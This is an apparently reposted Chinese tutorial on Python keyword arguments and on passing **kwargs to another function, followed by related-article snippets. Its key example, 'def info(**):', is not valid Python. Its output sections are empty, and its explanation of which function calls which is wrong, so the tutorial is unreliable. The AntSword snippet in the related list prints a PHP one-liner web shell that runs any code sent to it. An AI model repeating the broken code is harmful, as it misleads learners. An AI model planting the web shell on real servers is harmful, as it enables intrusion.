将 Kwargs 传递给 Python 中的另一个函数

news2024/9/19 10:41:24

文章目录

    • Python 中的关键字参数
    • 在 Python 中使用**kwargs 调用函数
    • 使用 Python 将 kwargs 传递给另一个函数
    • 总结


Python 列出了可以传递给程序中的函数的两种类型的参数。 非关键字参数 (**args) 和关键字参数 (**kwargs)。

通常,python 函数必须使用正确数量的参数进行调用。 如果函数需要两个参数,我们应该只传递两个。

在本文中,我们将讨论如何使用关键字参数以及如何将关键字参数传递给另一个函数。


Python 中的关键字参数

通常,参数确实将信息传递给函数。 关键字参数是一种可用于将参数传递给函数的方法。

特别是使用关键字参数,我们可以使用 key = value 语法发送参数。 让我们看看下面的例子。

def keyword_function(fname,lname,age):
    print("first name is " + fname )

keyword_function(fname= "Anne",lname= "Steaven" ,age= 27)

此示例定义了一个名为 keyword_function 的函数。 它传递三个名为 fname、lname 和 age 的参数。

因此,这些参数作为关键字参数发送,因为当函数在程序中调用时,每个参数都采用键值对。

输出:

在上面的输出中,我们打印了一条传递 fname 参数的语句。


在 Python 中使用**kwargs 调用函数

当几个参数未知时,主要可以使用关键字参数。 在这种情况下,在函数定义中的参数名称前添加两个星号 (**)。

如果函数有一个 **kwargs 参数,它接受可变数量的关键字参数作为字典。

考虑以下示例。

def animals(**kwargs):
    print(kwargs)

animals(name1='Rabbit',name2='Dog',name3='Monkey')

上面的代码中有一个叫做 animals 的函数。 它有一个名为 **kwargs 的参数,该函数调用以三个参数作为关键字参数。

输出:

在 Python 中使用 **kwargs 调用函数

我们可以将结果视为具有两对值和键的字典。 kwargs 参数是约定俗成的。

因此,作为参数名称,我们可以使用任何有意义的名称。 同样,这就是他们使用 **kwargs 参数调用函数的方式。


使用 Python 将 kwargs 传递给另一个函数

代码:

def info(**):
    x = dict(name="shen",age=27,degree="SE")
    pass_func(**x)

def pass_func(**kwargs):
    for i in kwargs:
        print(i,kwargs[i])
info()

使用上面的代码,我们打印有关此人的信息,例如姓名、年龄和学位。 该程序将 kwargs 传递给另一个函数,该函数包含声明 dict 方法的变量 x。

不带任何参数的示例定义函数信息。 函数 info 声明了一个变量 x ,它定义了三个键值对,通常,键值对在 Python 中定义为字典类型。

因此,dict 方法指定了一对键和值。 由于 kwargs unpack arguments 被声明为字典类型,我们可以在这个例子中使用 dict 方法。

然后我们有另一个名为 pass_func 的函数,它传递 kwargs 参数。 这个函数包括一个打印 kwargs 参数的 for 循环,之后,我们可以将 kwargs 函数传递给 info 函数来打印 x。

因此,我们使用 x 变量的 kwargs 参数调用 pass_func。 最后,我们在pass_func函数中调用info函数。

输出:

使用 Python 将 kwargs 传递给另一个函数


总结

在整篇文章中,我们专注于如何将 kwargs 传递给另一个函数。 kwargs 参数可以获得多个变量,每个参数没有定义的参数。

将 kwargs 参数传递给函数时,它必须使用双星号和参数名称 **kwargs。 将 kwargs 传递给另一个函数时,首先创建一个带有两个星号的参数,然后我们可以将该函数传递给另一个函数作为我们的目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/856576.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

春秋云镜 CVE-2022-24124

春秋云镜 CVE-2022-24124 Casdoor api 获取组织 SQL注入 靶标介绍 Casdoor是开源的一个身份和访问管理(IAM)/单点登录(SSO)平台,标记支持OAuth 2.0 / OIDC和SAML身份验证的Web UI。 Casdoor 1.13.1之前存在安全漏洞&…

Unity导入图片时,通过设置属性快速实现资源的压缩

是在学习tilemap绘制世界地图的时候发现的这个功能。 之前一直只是粗略的知道这部分是对应图片资源的压缩的。比如Compression是指的压缩质量,想要完全不压缩就设置None,会导致图片资源会大一些。 在我的例子工程中,其他图片资源的尺寸都是6…

服务器数据恢复-RAID5上层Hyper-V虚拟机数据恢复案例

服务器数据恢复环境: 一台Windows Server服务器,部署Hyper-V虚拟化环境,虚拟机的硬盘文件和配置文件存放在一台DELL存储中。该存储中有一组由4块硬盘组建的RAID5阵列,用来存放虚拟机的数据文件,另外还有一块大容量硬盘…

Centos7.6 安装mysql过程全记录

在centos 7.6上 离线安装mysql 的步骤,可参考下文: 一、查看当前MySQL的安装情况并卸载 1. 查看当前MySQL的安装情况 查找之前是否安装了MySQL rpm -qa|grep -i mysql 2.卸载mysql 如果已经安装mysql,则需要先停止MySQL,再删除…

基于springboot+vue的幼儿园管理系统的设计与实现_5umt6

随着世界经济信息化、全球网络化的到来推动信息线上管理的飞速发展,为幼儿园行业的改革起到关键作用。若想达到安全,快捷的目的,就需要拥有信息化的组织和管理模式,建立一套合理、畅通、高效的幼儿园管理系统。当前的幼儿园管理系…

【JAVA】继承

作者主页:paper jie的博客 本文作者:大家好,我是paper jie,感谢你阅读本文,欢迎一建三连哦。 本文录入于《JAVASE语法系列》专栏,本专栏是针对于大学生,编程小白精心打造的。笔者用重金(时间和精…

vue3官网文档学习、复习笔记(快速上手)

目录 2.Attribute 绑定(v-bind) 3.事件监听(v-on) 4.表单绑定(v-model) 5.条件渲染(v-if) 6.列表渲染(v-for) all.value all.value.filter(…

[C++]类与对象(下) -- 初始化列表 -- static成员 -- 友元 -- 内部类,一篇带你深度了解。

目录 1、再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.2.1 初始化列表的意义 1.3 explicit关键字 2、static成员 2.1 问题引入 2.2 特性 3、友元 3.1 友元函数 3.2 友元类 4、内部类 1、再谈构造函数 1.1 构造函数体赋值 在创建对象时,编译器通…

改进的麻雀算法优化最大相关峭度解卷积(SCSSA-MCKD),实现早期微弱故障诊断,MATLAB代码实现

01 引言 由于一些设备的早期故障产生的冲击十分微弱,易被系统噪声干扰,如何有效地对设备的原始故障信号进行降噪并增强信号中微弱冲击成分,是进行该类部件早期故障诊断的关键。 最大相关峭度解卷积(MCKD)通过解卷积运算…

干翻Dubbo系列第九篇:Dubbo体系中序列化详解

文章目录 文章说明 一:序列化概念 1:概念 2:Dubbo中序列化方式 二:Kyro序列化方案 1:引入依赖 2:XML的配置方式 3:Boot的方式 4:Consumer端调用 三:FST序列化方…

JVM 调优实例

点击下方关注我,然后右上角点击...“设为星标”,就能第一时间收到更新推送啦~~~ JVM提供了多种垃圾回收器,可以根据应用程序的需求选择最适合的垃圾回收器。例如,如果应用程序需要更快的响应时间,可以选择并行垃圾回收…

GIS在地质灾害危险性评估与灾后重建中的应用教程

详情点击链接:GIS在地质灾害危险性评估与灾后重建中的实践技术应用 前言 地质灾害是指全球地壳自然地质演化过程中,由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。由于降水、地震等自然作用下,地质…

【JavaSE】接口的语法知识和使用方法总结

目录 1. 接口的概念 2. 语法规则 3. 接口特性 4. 接口使用 5. 实现多个接口 6. 接口间的继承 1. 接口的概念 在现实生活中,接口的例子比比皆是,比如:笔记本上的USB口,电源插座等。 电脑的USB口上,可以插&#x…

Unity游戏源码分享-仿开心消消乐Match3Jewel

Unity游戏源码分享-仿开心消消乐Match3Jewel 工程地址: https://download.csdn.net/download/Highning0007/88198762

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

为什么要使用融合CDN,单CDN与多CDN之间的差异对比

CDN是现代互联网服务的重要组成部分&#xff0c;它CDN可帮助内容提供者高速交付内容&#xff0c;不同的服务器部署在全球不同的数据中心&#xff0c;并在它们之间共享相同的网络路径。随着企业意识到CDN的重要性&#xff0c;越来越多的企业正在使用CDN作为内容分发工具。互联网…

RocketMQ发送消息失败:error CODE: 14 DESC: service not available now, maybe disk full

在执行业务时&#xff0c;发现MQ控制台没有查询到消息&#xff0c;在日志中发现消息发送失败&#xff0c;报错error CODE: 14 DESC: service not available now, maybe disk full 分析报错应该是磁盘空间不足&#xff0c;导致broker不能进行正常的消息存储刷盘&#xff0c;去查…

Java中数组分析

Java中数组分析 先进行专栏介绍 数组声明和初始化一个数组方法一&#xff1a;声明数组并分配空间&#xff1a;可以使用以下语法声明一个数组&#xff0c;并指定数组的长度。举例 方法二&#xff1a;声明数组并初始化元素&#xff1a;可以在声明数组时&#xff0c;同时为数组的元…

HOperatorSet.OpenFramegrabber “GigEVision“

HOperatorSet.OpenFramegrabber "GigEVision"访问失败 直接跳出 但其他算子可以访问 重装halcon x86

内网隧道—HTTP\DNS\ICMP

本文仅限于安全研究和学习&#xff0c;用户承担因使用此工具而导致的所有法律和相关责任&#xff01; 作者不承担任何法律和相关责任&#xff01; HTTP隧道 Neo-reGeorg Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目&#xff0c;目的是&#xff1a; 提高可用性&#xff0…